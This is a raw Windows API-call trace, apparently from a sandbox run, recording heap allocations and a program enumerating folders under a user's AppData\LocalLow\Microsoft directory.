[0113.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0113.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.731] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0113.731] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.731] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.731] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0113.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0113.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.731] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.731] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.731] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.731] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.731] PathFindFileNameW (pszPath="") returned="" [0113.731] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.732] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0113.732] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.732] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0113.732] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1 [0113.732] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0 [0113.732] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.732] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0113.732] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51098f0 | out: hHeap=0x5010000) returned 1 [0113.732] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.732] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\") returned="IME12\\" [0113.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0113.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.733] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.733] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.733] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.733] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.733] PathFindFileNameW (pszPath="") returned="" [0113.734] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f190 | out: hHeap=0x5010000) returned 1 [0113.735] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.735] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0113.735] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0113.735] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ec028 | out: hHeap=0x5010000) returned 1 [0113.735] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.736] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.736] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\") returned="IMJP12\\" [0113.736] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0113.736] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.736] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.736] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.736] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.736] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.736] PathFindFileNameW (pszPath="") returned="" [0113.736] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.736] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.736] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0113.736] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.736] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.737] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.737] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\") returned="IMJP8_1\\" [0113.737] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0113.737] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.737] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.737] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.737] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.737] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.737] PathFindFileNameW (pszPath="") returned="" [0113.737] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.738] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.738] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0113.738] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.738] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.738] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.738] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\") returned="IMJP9_0\\" [0113.738] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0113.738] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.738] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.738] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.738] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.739] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.739] PathFindFileNameW (pszPath="") returned="" [0113.739] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.739] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.739] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0113.739] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.739] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.739] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.739] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0113.739] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0113.739] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.739] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" 